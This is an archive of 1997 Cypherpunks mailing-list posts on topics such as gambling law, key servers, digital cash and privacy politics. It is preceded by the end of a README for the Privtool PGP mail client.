	---------------------

Privtool ("Privacy Tool") is intended to be a PGP-aware replacement 
for the standard Sun Workstation mailtool program, with a similar user 
interface and automagick support for PGP-signing and PGP-encryption. Just 
to make things clear, I have written this program from scratch, it is
*not* a modified mailtool (and I hope that the Sun program code is much 
cleaner than mine 8-) !). It can be compiled using either Motif or the
Xview toolkit.

When the program starts up, it displays a list of messages in your 
mailbox, along with flags to indicate whether messages are signed 
or encrypted, and if they have had their signatures verified or 
have been decrypted.

When you double click on a message, it will be decrypted (requesting
your passphrase if neccesary), and/or will have the signature checked,
and the decrypted message will be displayed in the top part of the
display window, with signature information in the bottom part. The
mail header is not displayed, but can be read by pressing the 'Header'
button to display the header window. In addition, the program has
support for encrypted mailing list feeds, and if the decrypted
message includes another standard-format message it will replace
the original message and be fed back into the display processing
chain. A recent feature is support for decoding nymserver messages
using premail.

When composing a message or replying to one, the compose window has
several check-boxes, including one for signature, and one for
encryption. If these are selected, then the message will be automatically
encrypted and/or signed (requesting your passphrase when neccesary) before
it is sent. You may also select a 'Remail' box, which will use the
Mixmaster anonymous remailer client program to send the message through
one or more remailers.

As a Beta release, it has a number of bugs and unimplemented features.

Known Bugs:

	Mail file menu doesn't work!

	Don't check trust level or for revoked keys.

	In-Reply-To: handled incorrectly with multiple compose windows.

	Many properties updates from the properties window don't take effect 
	until you exit the program and restart.

	Nym selection should be per-compose window, not global.

	'Add Key' button only adds the first key in the message.

	The code in x.c breaks on versions of GCC if compiled with 
	optimization enabled. If you can't 'save attachments' then
	recompile x.c without optimization.


Unimplemented features:

	When you save changes to the mail file, it throws away the
	signature verification and decrypted messages, so that the
	next time you view a message it must be verified or decrypted
	again.

	Currently if you send encrypted mail to multiple recipients, all must
	have valid encrpytion keys or you will have to send the message 
	decrypted. Also, the message will be sent encrypted to all users, not 
	just the one who is receiving each copy.

	Code should be more modular to assist with ports to Xt, Motif
	(under way), Mac, Windows, etc. I may port it to C++ in the near 
	future.

	Not very well documented!

	Encrypted messages are saved to mail files in encrypted form. There
	is currently no option to save messages in decrypted form.

	No support for anonymous return addresses.

	Not very well tested on Solaris 2.x, FreeBSD or SunOS.

	Limited support for attachments (either Sun, uuencode or MIME).

Changes for 0.90:

	Code now compiles on SGI IRIX!

	Mixmaster code now checks reliability before sending the
	message.

	I'm now shipping a modified version of Premail which doesn't
	verify signatures on decoded messages, but instead leaves them
	in place for Privtool to process.

	Fixed failure to strip prepending - marks when clearsigned
	message has bad signature.

	Changed scrollbar setting when opening a new mailbox or
	saving changes; we now display the first unread message if
	there are no new messages.

	Moved 'Print' button to reduce accidental printouts.

	Updating kill filters and pgp key mappings in the properties
	window now works without restarting the program.

Privtool can be compiled to either use PGP Tools, or to fork off a copy of
PGP whenever it is needed. There are also a number of different security
level options for the passphrase, varying from 'read it from PGPPASS and
keep it in memory' to 'request it every time and delete it as soon as
possible', via 'request it when neccesary and delete it if it's not used
for a while'.

I've now patched PGP Tools for Linux. The code is available on
utopia.hacktic.nl as pgptools.linux.1.0.tar.gz. The official Privtool
Web Page is at http://www.unicorn.com/privtool/privtool.html and the
release site ftp://utopia.hacktic.nl/pub/crypto/pgp/utils/privtool/.

See the README file for information on compiling the code, and the
user.doc file for user documentation (the little that currently 
exists). You should also ensure that you read the security concerns
section in user.doc before using the program.

		Mark Grant (mark@unicorn.com)



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 01:25:24 +0800
To: root <root@fatmans.demon.co.uk>
Subject: Re: List problems or is it quiet???
In-Reply-To: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
Message-ID: <199705271712.MAA32386@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>, on
05/27/97 
   at 02:52 PM, root <root@fatmans.demon.co.uk> said:

>	
>I have checked the cypherpunks archive following my comment that I was 
>not getting much mail from the list (only 8 to 10 posts per day) over the
> last 2 or 3 days, and the archive confirms this. Igor and Jim have 
>confirmed that algebra and ssz are up, and cyberpass is reponding to 
>majordomo requests...

>I`m just sending this to check that this really is not a list problem, as
> of course 10 posts a day is an uncommonly low traffic level for the
>list.

>Unless of course the black clad ninja`s have come round on 4am nomex 
>hooded raids, and you are all in the ministry of love being questioned 
>over allegations of thoughtcrime, which would explain the lack of posts 
>;-)......

Well my cypherpunks stats scripts are not quite finished yet but here is
my cypherpunks log for yesterday. I am subscribed to all 3 list so it
should give you some feel for the current trafic.

- -- 

in:50
dup:28
ssz:16
algebra:19
cyberpass:15 
[algebra] ,00:11:57,alg,11,19:53:12,<m0wW9DS-0003b9C@ulf.mali.sub.org>
[algebra] ,00:17:18,alg,17,19:53:12,<199705262326.SAA14393@manifold.algebra.com>
[ssz    ]*,00:38:27,ssz,38,19:53:13,<m0wW9DS-0003b9C@ulf.mali.sub.org>
[ssz    ]*,00:38:39,ssz,38,19:53:14,<199705262326.SAA14393@manifold.algebra.com>
[algebra] ,00:12:54,alg,12,19:53:15,<199705262323.SAA14319@manifold.algebra.com>
[cyber  ] ,00:15:04,cyb,15,19:53:15,<199705262319.SAA14235@manifold.algebra.com>
[cyber  ] ,00:14:24,cyb,14,19:53:16,<Z4yB8D17w165w@bwalk.dm.com>
[cyber  ] ,00:20:49,cyb,20,19:53:17,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[algebra]*,00:14:03,alg,14,19:53:17,<199705262319.SAA14235@manifold.algebra.com>
[algebra]*,00:13:14,alg,13,19:53:18,<Z4yB8D17w165w@bwalk.dm.com>
[ssz    ]*,00:38:52,ssz,38,19:53:19,<199705262323.SAA14319@manifold.algebra.com>
[algebra]*,00:19:40,alg,19,19:53:19,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[ssz    ]*,00:38:42,ssz,38,19:53:20,<Z4yB8D17w165w@bwalk.dm.com>
[ssz    ]*,00:39:04,ssz,39,19:53:21,<199705262319.SAA14235@manifold.algebra.com>
[ssz    ]*,00:39:20,ssz,39,19:53:22,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[cyber  ] ,01:12:03,cyb,72,19:53:22,<199705262003.NAA09654@comsec.com>
[cyber  ] ,00:16:35,cyb,16,19:53:23,<199705262116.QAA13392@manifold.algebra.com>
[algebra]*,00:11:54,alg,11,19:53:24,<199705262116.QAA13392@manifold.algebra.com>
[algebra] ,00:14:42,alg,14,19:53:25,<199705262119.QAA13412@manifold.algebra.com>
[cyber  ] ,00:15:35,cyb,15,19:53:25,<199705262040.PAA26906@einstein.ssz.com>
[algebra]*,00:15:22,alg,15,19:53:26,<199705262040.PAA26906@einstein.ssz.com>
[ssz    ]*,00:38:55,ssz,38,19:53:27,<199705262119.QAA13412@manifold.algebra.com>
[ssz    ]*,00:39:49,ssz,39,19:53:27,<199705262116.QAA13392@manifold.algebra.com>
[ssz    ]*,00:38:53,ssz,38,19:53:28,<199705262040.PAA26906@einstein.ssz.com>
[ssz    ] ,00:38:42,ssz,38,19:53:29,<Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
[algebra]*,00:16:38,alg,16,19:53:29,<199705262003.NAA09654@comsec.com>
[ssz    ]*,00:39:47,ssz,39,19:53:30,<199705262003.NAA09654@comsec.com>
[algebra] ,00:22:09,alg,22,19:53:31,<199705261459.JAA15150@mailhub.amaranth.com>
[cyber  ]*,00:15:08,cyb,15,19:53:32,<199705261459.JAA15150@mailhub.amaranth.com>
[ssz    ]*,00:38:27,ssz,38,19:53:33,<199705261459.JAA15150@mailhub.amaranth.com>
[cyber  ] ,00:57:11,cyb,57,19:53:34,<199705261350.GAA21499@kiwi.cs.berkeley.edu>
[algebra]*,00:23:09,alg,23,19:53:34,<199705261350.GAA21499@kiwi.cs.berkeley.edu>
[cyber  ] ,00:51:44,cyb,51,19:53:36,<3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
[cyber  ] ,00:50:14,cyb,50,19:53:36,<199705260727.CAA09157@manifold.algebra.com>
[algebra]*,00:18:04,alg,18,19:53:37,<3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
[algebra]*,00:23:07,alg,23,19:53:38,<199705260727.CAA09157@manifold.algebra.com>
[algebra] ,00:22:15,alg,22,19:53:38,<199705260726.CAA09125@manifold.algebra.com>
[cyber  ]*,00:15:52,cyb,15,19:53:39,<199705260726.CAA09125@manifold.algebra.com>
[cyber  ] ,00:18:19,cyb,18,19:53:40,<199705260646.AAA20735@infowest.com>
[algebra]*,00:15:18,alg,15,19:53:41,<199705260646.AAA20735@infowest.com>
[ssz    ]*,00:38:56,ssz,38,19:53:41,<199705260646.AAA20735@infowest.com>
[cyber  ] ,01:41:29,cyb,101,19:53:42,<199705260452.XAA10160@mailhub.amaranth.com>
[cyber  ] ,02:04:54,cyb,124,19:53:43,<199705260352.FAA05338@basement.replay.com>
[ssz    ] ,00:38:32,ssz,38,20:05:05,<199705262230.PAA07484@sirius.infonex.com>
[algebra]*,00:14:16,alg,14,20:05:07,<199705262230.PAA07484@sirius.infonex.com>
[cyber  ]*,00:18:53,cyb,18,20:05:10,<199705262230.PAA07484@sirius.infonex.com>
[ssz    ] ,00:38:29,ssz,38,20:46:41,<8u9B8D20w165w@bwalk.dm.com>
[ssz    ] ,00:38:56,ssz,38,20:57:46,<Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>
[algebra]*,00:22:17,alg,22,20:57:50,<8u9B8D20w165w@bwalk.dm.com>
[algebra]*,00:13:06,alg,13,21:03:23,<Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>


Legend:

column 1: Folder Copied to ("*" represents dup message)
column 2: Lag in hh:mm:ss
column 3: Mailing list sent from
column 4: Lag in minuets
colunm 5: Time download (GMT -06)
column 6: Message ID

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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xRMp4OqlkDi6TEV+j/0YuxI6yfgcNcaNUbbv88QC8jlcUrH2H6F3wzkxMweeIAny
ITAVPBcynIjYYfvgCOSVHfmg/mXi54/z4/b9bD6zNhM0t+kzEAYTecas+ZCgHt9H
8ihWd7TP4xk=
=812M
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 03:16:58 +0800
To: cypherpunks@algebra.com
Subject: Re: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <v03102800afb0de19da0a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:12 PM -0500 5/27/97, William H. Geiger III wrote:

>>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>>on Friday banned an Internet gambling company from operating in the
>>>state.
>
>
>This comes as no suprise to anyone who was in KCMO durring the fight over
>riverboat gambling.
>
>The politions there have sold their souls to the big cassinos for the
>prommise of tax dollars that they could then use to buy votes.
>
>They now see Internet Gaming as a threat to their revenue stream (both
>riverboat cassinos & state sponsored numbers racket).

Also no surprise here in California, where gambling is a crime--unless the
State of California runs the gambling operation. E.g., the Lottery system.

(Actually, there are a few exceptions to this state monopoly on gambling.
Indian reservations have the right, though this right is being challenged
up and down the state, to run certain types of casinos. And "card clubs"
are permitted, under certain conditions.)

To paraphrase a line from my .sig, there's something wrong when the State
outlaws some behavior or practice but then sets itself up as the monopoly
supplier.

What's next? California Houses of Sexual Relief? ("Our schools win too!")

I've found that even nonlibertarians are chagrinned by this display of
governmental greed. If something is a crime, it's a crime. I don't think
gambling is a crime, but the State has decreed that is. Hard to believe
they bust casual gamblers who bet on bowling games (a recent case) while
running their own lottery.

(And the lotteries have incredibly bad payoff odds...something like 30-40%,
if I remember correctly. A slot machine with these odds would be shut down
instantaneously as being a theft device! The state lotteries are often
called "taxes on stupidity," and none of the well-off folks I know ever
play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
are squandering their paychecks on State-run gambling...but the principle
is the thing I object to.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 01:35:11 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <199705271720.MAA32492@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>, on 05/27/97 
   at 02:52 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>>Judge bans Internet gambling company from operating in Missouri
>>
>> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>>
>>Copyright   1997 Nando.net
>>Copyright   1997 Kansas City Star
>>
>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>on Friday banned an Internet gambling company from operating in the
>>state.


This comes as no suprise to anyone who was in KCMO durring the fight over
riverboat gambling.

The politions there have sold their souls to the big cassinos for the
prommise of tax dollars that they could then use to buy votes.

They now see Internet Gaming as a threat to their revenue stream (both
riverboat cassinos & state sponsored numbers racket).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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47LHyEaObrbmKaz+VRHJIlKwOcK+L+Uw9ah0Nzp8Gp7R/N0sRIlH0UnQceTuATWi
7Rv2z6gFZkNQrXXFEODxGYp+brKzXTGU8HLJeMDlVTXm9Ee/el10hMSVvZgLANIc
Yvad1qdeVoA=
=ldZl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 28 May 1997 03:00:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.95.970527122813.1144B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 24 May 1997, Lucky Green wrote:

> At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> >	A three way encrypted handshake between an encrypted agent that
> >was part of the OS and  a smart card and software at an ISP could be
> >used to enforce an internet drivers license law for  example, with no
> >packets being forwarded by the ISP without hard  authentication (even up
> >to biometrics) of the user.  And it would be rather trivial to disallow
> >use of "unapproved" software to communicate over the net, making
> >enforcement of GAK much more complete.  One could even use such a
> >mechanism to forbid use of any  uncertified software on a net connected
> >machine, thus making it rather hard to use such rogue applications as
> >PGP.
> 
> I strongly agree with you. While the motivation that lead to the
> development of such processors stems probably from the desire to thwart
> software piracy, it will make implementation of the "Internet Driver
> License" that much easier.
> 
> [For those new to Cypherpunks, I consider the requirement for an Internet
> Driver License as inevitable as the sun raising tomorrow morning. While the
> event is technically in the future, it will occur with a certainty that it
> may just as well have already happened in the past. Read the graphic novel
> "Watchmen" if you don't understand what I am talking about. Sure, there is
> a small but no-zero probability that the Earth will be vaporized before
> sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
> wrote "as inevitable", as opposed to "inevitable".]
> 

Well...they will TRY...

If this kind of thing gets through without a huge fight from the 
public in general and the crypto community specifically, then we
get exactly what we deserve.

I will be heading for some quiet island at that point.

All aboard for Vonuatu.
(though I hear its not that quiet these days)   8-)

Jim Burnes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 02:18:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: <v03102800afb0c3d3add4@[207.167.93.63]>
Message-ID: <199705271807.NAA00518@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afb0c3d3add4@[207.167.93.63]>, on 05/27/97 
   at 10:17 AM, Tim May <tcmay@got.net> said:

>--Winston Smith, Job Trainee #227-90-2389

This message was forwared to me by the Internal Monitoring Department,
Federal Bureau of Investigations, Department of Justice.

I must strongly advise you against using false names & SS numbers as it is
a clear violation of Presenditial Order #12653289376 issued under the
National Emergency Powers Act where it is illegal to atempt to conceal one
identity in any communtication.

We do have a room reserved here right next to an associate of yours Jim
Bell if you insist on persuing this cource of action.

Sincerly,

William H. Geiger III  
Cheif of Staff Stalag #13

 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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HrAwsrapGrZnvUwEIiYN/eJxoEnD5D9tyJXFlRj+uIp1hCXpz2YPQIGfawxP3VXS
q4tIYvfWRaFRuTjZZU4ANfpPlc/UFb4pkcct405QTY2ymrsKCpgoIZynt/IvARn8
n4IJ1HEagHM=
=6mZp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 04:54:19 +0800
To: "Robert A. Costner" <cypherpunks@algebra.com
Subject: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <v03102801afb0f4da8b9f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:43 PM -0400 5/27/97, Robert A. Costner wrote:

>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
>This is part of a pilot project based on Georgia's New Digital Signature
>Law.
>We are still beta testing the keyserver, and invite people to try it out.
>The
>results of our testing will be presented at the Digital Signature Task Force
>meeting on June 24th.
...>This is a closed keyserver, in that keys do not replicate to non EFGA
>keyservers.  If this model is successful, this will help move Georgia to a
>position of being pro-strong encryption.
>
>Right now the server may only accept keys through the PGPkeys interface.  We
>appreciate comments from experienced PGP users.  Comments may be sent to
>myself, or to keymaster@efga.org

But as Robert knows more directly than I, Georgia also has the "anonymity
is a crime" laws on the books (an article excerpt is below...doing a search
on Georgia and anonynimity will turn up a lot of articles).

One of the articles:

"ACLU Sues Georgia for Restricting Free Speech

"[September 26] -- This week the American Civil Liberties Union, Electronic
Frontiers Georgia, Georgia State Representative Mitchell
Kaye (R-Marietta), and others filed suit against the state of Georgia for
restricting free online speech.

"The Georgia statute makes it illegal for users to assume online anonymous
personas or pseudonyms. The statute also restricts the use of
linking to other sites on the Web. "

So, what will happen if people, entities, remailers, pseudonyms, etc..
submit keys to this EFF-Georgia repository without providing SS number,
passport, mother's maiden name, etc.?

(Will Georgia seek the BlackNet operator's extradition for not complying
with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
plan to enforce the Georgia law?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Wed, 28 May 1997 00:49:08 +0800
To: cypherpunks@algebra.com
Subject: List problems or is it quiet???
Message-ID: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
I have checked the cypherpunks archive following my comment that I was 
not getting much mail from the list (only 8 to 10 posts per day) over the 
last 2 or 3 days, and the archive confirms this. Igor and Jim have 
confirmed that algebra and ssz are up, and cyberpass is reponding to 
majordomo requests...

I`m just sending this to check that this really is not a list problem, as 
of course 10 posts a day is an uncommonly low traffic level for the list.

Unless of course the black clad ninja`s have come round on 4am nomex 
hooded raids, and you are all in the ministry of love being questioned 
over allegations of thoughtcrime, which would explain the lack of posts 
;-)......

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 28 May 1997 03:56:57 +0800
To: cypherpunks@algebra.com
Subject: PGP 5.0 keyserver
Message-ID: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia has set up a key repository for PGP type keys.  
This is part of a pilot project based on Georgia's New Digital Signature Law.  
We are still beta testing the keyserver, and invite people to try it out.  The 
results of our testing will be presented at the Digital Signature Task Force 
meeting on June 24th.

To access the keyserver, change your PGP5.0 preferences to point to

    keys.efga.org

This is a closed keyserver, in that keys do not replicate to non EFGA 
keyservers.  If this model is successful, this will help move Georgia to a 
position of being pro-strong encryption.

Right now the server may only accept keys through the PGPkeys interface.  We 
appreciate comments from experienced PGP users.  Comments may be sent to 
myself, or to keymaster@efga.org

Thanks,

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4s5Q0GpGhRXg5NZAQFjiAH7BAzoxSFvyXUOt06nN5yZOyf4As198E9D
gtNDqiqmux5SYuqoqBi7oiHEKNyphJOJEhMO+J2BVw8GGdWYMWtmRA==
=BZXE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 28 May 1997 06:22:02 +0800
To: cypherpunks@toad.com
Subject: Liberty Cash
Message-ID: <v0302090aafb0eb40da95@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 26 May 1997 13:46:10 -0400
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Liberty Cash

More account based $%&#!! from the US Post Office:


LibertyCash may look like a credit card, but it's not.  It's the
convenient new cash replacement card, available only from the United States
Postal Service.

No cash.  No checks.  Just a swipe of your LibertyCash Card and you're all
paid up.

The refillable card gives you the security of a PIN and is a real favorite
with the business crowd.  It's available in intial amounts from $5-$300 and
can be refilled to a maximum balance of $300.

The disposable card is perfect for your small purchases, and there's no PIN
to remember.  It's available in $10 and $20 amounts and, once it's spent,
you can throw the card away or keep it as a collectible.

Safer than cash.  Use a refillable card and we can easily replace it if
it's lost or stolen.  Just go to a participating post office, and we'll
transfer your remaining balance to a new card.  It's as simple as that.


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 28 May 1997 06:33:56 +0800
To: cypherpunks@toad.com
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Message-ID: <v03020913afb0ee829e94@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: nh-isig@bcs1.ziplink.net, isig@signet.org, talk@web-net.org,
        discuss@tarnhelm.blu.org
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Mime-Version: 1.0
Date: Tue, 27 May 97 12:36:48 -0400
From: "Jerry Feldman" <gaf@zk3.dec.com>
X-Mts: smtp
Sender: owner-isig@signet.org
Precedence: bulk
Reply-To: isig@signet.org

When:    Tuesday June 3, 1997 7PM
Where:   Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic:   Technology and social consequences of digital commerce and
         financial cryptography.
Speaker: Robert Hettinga, founding moderator of the
         Digital Commerce Society of Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its
monthly meeting, the first Tuesday of every month.
The next meeting
is on June 3rd and will focus on the technology and social
consequences of digital commerce and financial cryptography.
Mr. Hettinga is also general chair of Financial
Cryptography 1997, the world's first conference on Financial
Cryptography. However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much
more profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably,
the switching of internet packets themselves.  If this promise is
kept, it could change the fundamentals of our entire society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical
and non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director@nh-isig.org
For more information contact Jerry Feldman <gaf@signet.org>,
NH-ISIG meeting coordinator..
Mailing list: nh-isig@bcs1.ziplink.net
WWW:          http://www.nh-isig.org

Directions to the Nashua Public Library
All parking if free after 5PM.

>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main
St. North. Turn left onto Main St. and at the third set of lights turn
right onto Temple St. Take Temple St. to 2nd left onto Cottage Avenue
(Behind Indian Head Plaza) into Library's metered parking lot.

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St. Follow
Main St. and turn left at the second set of lights onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian
Head Plaza) into Library's metered parking lot.





--
+-------------------------------------------------------------+
Jerry Feldman            gaf@SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo@signet.org
with the following text in the *body* (*not* the subject line) of the letter:
unsubscribe isig

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 08:13:54 +0800
To: cypherpunks@toad.com
Subject: Re: Beware of encrypted processors bearing gifts...
Message-ID: <199705272347.QAA10019@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Burnes wrote:
> On Sat, 24 May 1997, Lucky Green wrote:
> > At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> > >     A three way encrypted handshake between an encrypted agent that
> > >was part of the OS and  a smart card and software at an ISP could be
> > >used to enforce an internet drivers license law for  example, with no
> > >packets being forwarded by the ISP without hard  authentication (even up
> > >to biometrics) of the user. 

> > [For those new to Cypherpunks, I consider the requirement for an Internet
> > Driver License as inevitable as the sun raising tomorrow morning. While the
> > event is technically in the future, it will occur with a certainty that it
> > may just as well have already happened in the past. 

> If this kind of thing gets through without a huge fight from the
> public in general and the crypto community specifically, then we
> get exactly what we deserve.
 
> I will be heading for some quiet island at that point.
 
